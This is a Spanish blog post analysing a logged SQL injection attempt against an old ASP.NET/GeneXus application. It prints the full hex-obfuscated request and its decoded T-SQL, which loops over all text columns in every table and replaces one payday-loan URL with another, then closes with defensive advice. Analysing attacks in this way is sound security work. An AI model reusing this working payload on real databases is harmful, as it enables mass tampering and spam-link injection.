Intento de SQL Injection.


En una revisión rutinaria de los logs de un servidor web, encontramos la entrada:

2013-07-25 15:25:52 17.172.13.1 GET /petroglifo/hwnbuspa.aspx 1+declare+@s+varchar(8000)+set+@s=cast(0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e313020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d5245504c414345285b272b40432b275d2c202727676f676f7061796461796c6f616e732e636f6d27272c202727726f6e6e7061796461796c6f616e732e636f6d272729207768657265205b272b40432b275d206c696b6520272725676f676f7061796461796c6f616e732e636f6d252727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72+as+varchar(8000))+exec(@s)-- 80 - 91.220.131.72 Mozilla/5.0+(Windows;+U;+Windows+NT+5.2;+en-US)+AppleWebKit/534.17+(KHTML,+like+Gecko)+Chrome/11.0.652.0+Safari/534.17 - 200 0 0 17066


Esta es una aplicacion vieja que tiene campos de ingreso de datos y estan intentando hacer una inyeccion de codigo SQL y luego ejecutarlo. 

Primero vemos que la direccion 91.220.131.72, viene de Rusia y de la ciudad de Lenina. (http://www.iplocation.net/index.php)



91.220.131.72  Russian FederationKrasnodarLeninaTeterin Igor Ahmatovich

Que es lo que intenta ejecutar? 

Ejecutando la sentencia 

select 
cast(0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e313020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d5245504c414345285b272b40432b275d2c202727676f676f7061796461796c6f616e732e636f6d27272c202727726f6e6e7061796461796c6f616e732e636f6d272729207768657265205b272b40432b275d206c696b6520272725676f676f7061796461796c6f616e732e636f6d252727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72 as varchar(8000))

que se traduce a 

set ansi_warnings off 

DECLARE @T VARCHAR(255),@C VARCHAR(255) 

DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t 
       where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>10 and t.table_name=c.table_name and t.table_type='BASE TABLE' 
OPEN Table_Cursor 
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) 
BEGIN 
 EXEC('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(['+@C+'], ''gogopaydayloans.com'', ''ronnpaydayloans.com'') where ['+@C+'] like ''%gogopaydayloans.com%'' ') 
 FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

En el codigo recorre todas las tablas y todas las columnas de texto que sean mayores que 10 caracteres y arma una sentencia que remplazan una url por otra, en todas las columnas de las todas las tablas. El codigo podria ser cualquier otro, como borrar el contenido o modificarlo totalmente. 

Luego intenta ejecutar dicho código. 

Si nuestros sistemas expuestos en internet no tienen protección contra este tipo de ataques, la podemos pasar bastante feo. Las aplicaciones GeneXus tienen proteccion contra este tipo de ataques desde hace unas cuantas versiones, pero igual hay que cuidarse con los User Controls de tercerso y cogigo nativo que estemos introduciendo pues pueden ocasionarnos problemas. 

Esto ya viene pasando desde hace mucho tiempo, pero se ha intensificado basante en los ultimas semanas. 

También conviene pasarle un Security Scanner a la aplicacion para revisar si no se nos esta escapando algo. 

Comentarios

Entradas más populares de este blog

El Sordo

Paleta de colores en GeneXus